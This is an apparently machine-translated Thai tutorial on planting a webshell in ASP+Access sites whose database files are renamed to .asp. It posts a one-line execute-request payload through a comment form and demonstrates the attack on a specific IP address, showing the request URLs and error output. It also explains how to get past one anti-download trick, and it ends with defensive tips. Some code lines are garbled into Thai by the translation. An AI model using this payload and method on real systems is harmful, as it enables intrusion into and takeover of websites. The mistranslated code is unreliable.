บางทีด้วยการพัฒนาเทคโนโลยีความปลอดภัยเครือข่าย คุณภาพของผู้ดูแลระบบก็ดีขึ้น เมื่อใช้ระบบ access+asp เพื่อป้องกันไม่ให้ดาวน์โหลดฐานข้อมูล mdb จึงเปลี่ยนเป็น asp หรือ asa อย่าพูดถึงการเปลี่ยนคำต่อท้ายโดยตรง คุณสามารถดาวน์โหลดได้โดยตรงโดยใช้เครื่องมือเช่น Internet Express ที่จริงแล้วคุณได้เปิดประตูให้ผู้บุกรุกไปแล้ว ผู้บุกรุกสามารถใช้ฐานข้อมูลที่มีส่วนต่อท้าย asp/asa เพื่อรับ webshell ได้โดยตรง
หนึ่ง. ไอเดีย
ทุกคนรู้ดีว่า <%%> คือตัวระบุของไฟล์ asp ซึ่งหมายความว่าไฟล์ asp จะรันโค้ดระหว่าง <%%> เท่านั้น ข้อมูลทั้งหมดของระบบเว็บ access+asp จะถูกจัดเก็บไว้ในไฟล์ฐานข้อมูล (ไฟล์ mdb ) เนื่องจากผู้ดูแลระบบเปลี่ยนไฟล์ mdb เป็นไฟล์ asp หากข้อมูลที่เราส่งมี <%%> ดังนั้นเมื่อเราเข้าถึงฐานข้อมูล asp รหัสระหว่าง <%%> จะถูกดำเนินการ สิ่งนี้ทำให้เราส่งเฉพาะโค้ดที่เป็นอันตรายไปยังฐานข้อมูล ดังนั้นฐานข้อมูลที่มีส่วนต่อท้าย asp จึงเป็น webshell ของเรา
สอง. ตัวอย่าง
เพียงแค่ค้นหาเป้าหมาย ก่อนอื่น เรามาตรวจสอบฐานข้อมูลว่ามีคำต่อท้าย asp หรือไม่: http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210
กลับ:
คัดลอกรหัสรหัสดังต่อไปนี้:
ข้อผิดพลาดของคอมไพเลอร์ Microsoft VBScript '800a03f6'
'จุดสิ้นสุด' หายไป
/iisHelp/common/500-100.asp บรรทัด 242
ข้อผิดพลาดกลไกจัดการฐานข้อมูล Microsoft JET '80004005'
'D:/log_mdb/%29dlog_mdb%29.asp' ไม่ใช่เส้นทางที่ถูกต้อง ตรวจสอบว่าสะกดชื่อเส้นทางถูกต้องหรือไม่ และคุณเชื่อมต่อกับเซิร์ฟเวอร์ที่เก็บไฟล์ไว้หรือไม่
/test/conn.asp บรรทัด 18
เราส่ง: http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp ส่งคืนอักขระที่อ่านไม่ออกจำนวนมาก เพื่อให้เราสามารถดาวน์โหลดฐานข้อมูลได้โดยตรงโดยใช้เครื่องมือเช่น Internet Express (เราจะไม่พูดถึงมัน ที่นี่). เรากลับมาที่หน้าแรกแล้วพบว่ามีฟังก์ชั่นคอมเม้นท์ชาวเน็ต มาลงทะเบียนเป็นผู้ใช้และแสดงความคิดเห็น:
<%ดำเนินการคำขอ(b)%>
ด้วยวิธีนี้ เราเขียนโค้ด asp: <%execute request(b)%> ลงในฐานข้อมูล จากนั้นฐานข้อมูล: คือ webshell ของเรา ส่ง: http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp ในตอนท้ายของโค้ดที่อ่านไม่ออกเราจะเห็น:
คัดลอกรหัสรหัสดังต่อไปนี้:
/iisHelp/common/500-100.asp บรรทัด 242
ข้อผิดพลาดรันไทม์ Microsoft VBScript '800a000d'
ประเภทไม่ตรงกัน: 'execute'
/test/dlog/log_mdb/%29dlog_mdb%29.asp บรรทัด 1266
หมายเหตุ: เมื่อเราส่งโค้ดไปยังฐานข้อมูล เนื้อหาของโค้ดต้องไม่ใหญ่เกินไป ดังนั้นเราจึงใช้ <%execute request(b)%>
สาม. คำถามและแนวคิดอื่นๆ
1. สำหรับฐานข้อมูลที่เปลี่ยนคำต่อท้ายเป็น asp และเพิ่มรหัส asp ที่ผิดกฎหมาย เช่น <%='a'-1%> ลงในฐานข้อมูลเพื่อป้องกันการดาวน์โหลดอย่างสมบูรณ์ เนื่องจากมีรหัส asp ที่ผิดกฎหมายอยู่ในนั้น หลังจากใส่รหัส webshell ของเราแล้ว Running มันจะแสดงเฉพาะข้อผิดพลาดของรหัสที่ผิดกฎหมายก่อนหน้านี้โดยไม่ต้องรันโค้ดของเชลล์ของเรา แม้ว่าสิ่งนี้จะสามารถป้องกันการโจมตีบางอย่างได้ แต่ก็ยังมีอันตรายที่ซ่อนอยู่อยู่ ตราบใดที่เราเพิ่มรหัสที่เข้ากันได้กับข้อผิดพลาดก่อนรหัสข้อผิดพลาด เราก็สามารถแสดงและดำเนินการโค้ด webshell ที่เราแทรกได้อย่างถูกต้อง
2. สำหรับไฟล์เหล่านั้นที่ไม่ได้เปลี่ยนคำต่อท้าย นั่นคือไฟล์ mdb เราสามารถดาวน์โหลดได้โดยตรงเพื่อรับรหัสผ่านพื้นหลัง หลังจากเข้าสู่พื้นหลังแล้ว เราสามารถใช้การสำรองฐานข้อมูลเพื่อเปลี่ยนคำต่อท้ายเป็น asp
สรุปวิธีการต่อต้านการดาวน์โหลด mdb
1: ภายใต้ iis6 หากไม่ได้กำหนดส่วนขยาย ข้อผิดพลาด 404 ของไฟล์ที่ไม่พบจะปรากฏขึ้นเมื่อเข้าถึง
ดังนั้น คุณสามารถตั้งชื่อฐานข้อมูลให้เป็นชื่อไฟล์โดยพลการซึ่งจะไม่ปรากฏว่าให้ผลลัพธ์ที่ปลอดภัย เช่น: xxxxx.xxxxxxxxxxx
2 หากฐานข้อมูลถูกวางไว้นอกเว็บไซต์ จะไม่สามารถเข้าถึงได้ ตัวอย่างเช่น: e:/web/ คือเว็บไซต์ของคุณ
จากนั้นใส่ฐานข้อมูลใน e:/
3. ตามที่กล่าวไว้ข้างต้น เปลี่ยน .mdb เป็น .asp และในขณะเดียวกันก็เทลงในตารางพิเศษที่มีอักขระไบนารี <% ด้วยวิธีนี้ เมื่อเข้าถึงไฟล์ ข้อความแจ้งว่าอักขระปิดสคริปต์หายไปจะปรากฏขึ้น
4. หรือเปลี่ยน .mdb เป็น .asp แล้วเปิดด้วย winhex ในเวลาเดียวกัน คุณจะพบว่ามีส่วนยาวของสตริง 00 หลังจาก 176 คุณยังสามารถป้องกันการดาวน์โหลดได้โดยเปลี่ยนเป็นโค้ด asp ได้ตามต้องการ ซึ่งจะไม่ส่งผลกระทบต่อการทำงานของฐานข้อมูล ตัวอย่างเช่น:
-
response.write (การเข้าถึงที่ผิดกฎหมาย)
การตอบกลับ.end()
-
ตอนนี้การเพิ่ม # และช่องว่างในชื่อของฐานข้อมูลจะถูกถอดรหัส ตัวอย่างเช่น # = <%35 และช่องว่าง = <%20
ดังนั้นการใช้สิ่งเหล่านี้ตอนนี้จึงไม่มีประโยชน์อีกต่อไป -
หากเป็นเซิร์ฟเวอร์ของคุณเอง ให้ตั้งค่าใน IIS:
สร้างไฟล์ DLL เปล่าใหม่ จากนั้นเพิ่มการแมปใน IIS เลือก DLL ที่คุณเพิ่งสร้างเป็นไฟล์ปฏิบัติการ กรอก .mdb เป็นนามสกุล บันทึกและรีสตาร์ทบริการ IIS